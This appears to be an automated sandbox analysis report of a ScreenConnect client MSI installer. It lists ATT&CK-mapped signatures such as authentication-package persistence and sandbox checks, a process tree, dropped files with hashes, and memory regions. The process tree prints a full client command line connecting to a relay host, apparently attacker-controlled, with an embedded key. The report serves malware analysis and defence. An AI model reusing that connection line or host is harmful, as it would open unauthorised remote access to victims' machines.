Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    10/09/2026, 18:22

General

  • Target
    ScreenConnect.ClientSetup.msi
  • Size 14.6MB
  • Sample260910-wz4fbaeb63
  • SHA256 63b8c28736a5e5d39700333345dac2423bde079271369838669c78c1b7f19a1c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 13 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:1508
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3328
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 14C5DD572A77DB0373F5C8F339C6E09B C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3376
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI4D02.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240668187 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3492
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:3852
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding E18478238775BAAA46B5B000CC2DBA28
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3748
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding A1D34F4F628F878E85E8C758731C333A E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:928
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:2120
    • C:\Program Files (x86)\ScreenConnect Client (92f2054707c68b49)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (92f2054707c68b49)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.adminrolling.live&p=8041&s=f2795a76-cf6b-4e71-8726-d0b06340dc79&k=BgIAAACkAABSU0ExAAgAAAEAAQCtMU%2f34BnlOc0sRthSPseTHJJzKArXF8%2fjWrDYBUA86C9%2bduegtjcdKeDRuAWxgnXvXLYiQXm6OETvLhtlDkIECi2NvspTs1HnsG3Kf8mXcKTEJtAKQrJqiROhr4mhp9I0GzQ%2fbnFo28dE0nhI3GtUgY4lJovLOinaZ017rIZQnVtMyqa7%2f0K7Y7gJ4EBjAiDc%2bagDkYlc4wimO%2fR1Ecexk26XISA2MX5mnPbyqQaTKHfLIfkqkY20KB6mO%2bM9QIcahCNuyXaPH9jC1QZ6SbjfsyC9F9PXzG91LGjnmpxHhsQMLcszITCLq8nFECO4zHniQfyd0Fb3usRc0%2foAqKK7&c=GOODVIBE&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4672
      • C:\Program Files (x86)\ScreenConnect Client (92f2054707c68b49)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (92f2054707c68b49)\ScreenConnect.WindowsClient.exe" "RunRole" "5c9b658d-ce31-49a3-a703-28c2e734eb1b" "User"
        2⤵
        • Executes dropped EXE
        PID:1016
      • C:\Program Files (x86)\ScreenConnect Client (92f2054707c68b49)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (92f2054707c68b49)\ScreenConnect.WindowsClient.exe" "RunRole" "7c969cd9-8ceb-4b4f-a620-e28f3e3eaf34" "System"
        2⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:1952

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e5892c6.rbs

          • Path C:\Config.Msi\e5892c6.rbs
          • Size 214KB
          • SHA256 25369ca83d9fd7e9b2bed418c0720c43b637139528bd889613e575f1c80171ff
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (92f2054707c68b49)\Client.Override.en-US.resources
          • Size 426B
          • SHA256 4ae57b70477e37c79d72250169496b375be3b50cacfc2d823ef75f051ad710d4
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (92f2054707c68b49)\Client.Override.resources
          • Size 26KB
          • SHA256 1212bae82fbe031d9256610dedc91c990a1f888a73e1a97166a40810f28101d0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (92f2054707c68b49)\Client.en-US.resources
          • Size 49KB
          • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (92f2054707c68b49)\Client.resources
          • Size 33KB
          • SHA256 e0d0e5d951ef955f22d110b65b3fedfb8b1710491563d7c541f5e3d9fd4ccee8
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (92f2054707c68b49)\ScreenConnect.Client.dll
          • Size 202KB
          • SHA256 ea1ba32647cf18942e5d26e4d80ade8d25db7984555f55c378c9ad0d33c11271
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (92f2054707c68b49)\ScreenConnect.ClientService.dll
          • Size 77KB
          • SHA256 84d0a414d03ab35f65cb149229ac2a64cde9b20f3cb2aba9099c71510a749fe4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (92f2054707c68b49)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 46457d98fb1c53bbccb66c1015eb831355f30c8bf8e6f25cf3183aac2a5fd8ab
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (92f2054707c68b49)\ScreenConnect.Core.dll
          • Size 549KB
          • SHA256 6928d272bdcfb0a1739d4ffee9a1a6e230880a3ce954233a83fdc70024c1e7ad
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (92f2054707c68b49)\ScreenConnect.Windows.dll
          • Size 1.7MB
          • SHA256 fb81fc9354d12d15f125492c74f766bb538ddc1f9748735b0bdfbf6e945175c6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (92f2054707c68b49)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (92f2054707c68b49)\ScreenConnect.WindowsClient.exe
          • Size 595KB
          • SHA256 3b150443fbb196446479367dc44888488045ae8eef9b872406656cf33ace2556
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (92f2054707c68b49)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (92f2054707c68b49)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 838KB
          • SHA256 c36e1b629985cf5379733de9c2d645446cb3333f8660bf137a46fb227ef170e4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (92f2054707c68b49)\app.config
          • Size 1KB
          • SHA256 a99981c880c0a810004f54dbc9a6330e54847f23c41c11e1126111df43bfcf07
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (92f2054707c68b49)\system.config
          • Size 947B
          • SHA256 eda11e77957291eef65585cb4df91bc1579bb19d687318fef8112a5ab07021bb
          • MD5 SHA1 SHA512 TLSH

          MSI4D02.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI4D02.tmp
          • Size 1.0MB
          • SHA256 9571cbea87aa83be41b2e63a5cd62498da91793c4fa1fc38baa07a73b1c2d02c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI4D02.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI4D02.tmp-\ScreenConnect.Core.dll
          • Size 539KB
          • SHA256 613af5bfae8fb43f24c223c3aef411f532eaaf223f9f09a1dad0a4f16fb3672b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI4D02.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 404b02b47b8f6fe72dd5957694810dddd3d760f530b90aade0eece30fe1950e4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI4D02.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 0b87dd18e02ce7c363ebe016d81ebfab230230f9821554015c0a3505bf021d6f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI945C.tmp

          • Path C:\Windows\Installer\MSI945C.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e5892c5.msi

          • Path C:\Windows\Installer\e5892c5.msi
          • Size 14.6MB
          • SHA256 63b8c28736a5e5d39700333345dac2423bde079271369838669c78c1b7f19a1c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.1MB
          • SHA256 df438ba1fbed70194d6c8cd4c3587e2d38589e90311a1f263021f1a56a7a1340
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {88b4a745-e2e5-4feb-a8d2-5542e5fab921}_OnDiskSnapshotProp

          • Path \??\Volume{63ef4f52-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{88b4a745-e2e5-4feb-a8d2-5542e5fab921}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 3a97d849340a2eaea5c0e2c341efaf94d0fd7d99cf61b5088d70f704b6593e37
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1016-126-0x000000001AD50000-0x000000001AD68000-memory.dmp

          memory/1016-124-0x000000001B990000-0x000000001BB16000-memory.dmp

          memory/1016-120-0x00000000002D0000-0x0000000000368000-memory.dmp

          memory/1016-121-0x0000000002320000-0x0000000002356000-memory.dmp

          memory/1016-125-0x00000000022E0000-0x00000000022F8000-memory.dmp

          memory/1016-123-0x000000001B450000-0x000000001B5FC000-memory.dmp

          memory/1016-122-0x000000001B210000-0x000000001B29E000-memory.dmp

          memory/3492-26-0x0000000004AF0000-0x0000000004B7E000-memory.dmp

          memory/3492-22-0x0000000004A50000-0x0000000004A5A000-memory.dmp

          memory/3492-18-0x0000000004A10000-0x0000000004A3E000-memory.dmp

          memory/3492-30-0x0000000004D30000-0x0000000004EDC000-memory.dmp

          memory/3492-31-0x0000000005490000-0x0000000005A34000-memory.dmp

          memory/4672-82-0x0000000004590000-0x000000000461E000-memory.dmp

          memory/4672-105-0x0000000004A20000-0x0000000004AB2000-memory.dmp

          memory/4672-107-0x0000000004980000-0x00000000049C1000-memory.dmp

          memory/4672-109-0x0000000004C00000-0x0000000004CD5000-memory.dmp

          memory/4672-104-0x0000000004760000-0x0000000004796000-memory.dmp

          memory/4672-99-0x0000000004710000-0x0000000004760000-memory.dmp

          memory/4672-86-0x00000000047D0000-0x000000000497C000-memory.dmp

          memory/4672-76-0x0000000004360000-0x0000000004378000-memory.dmp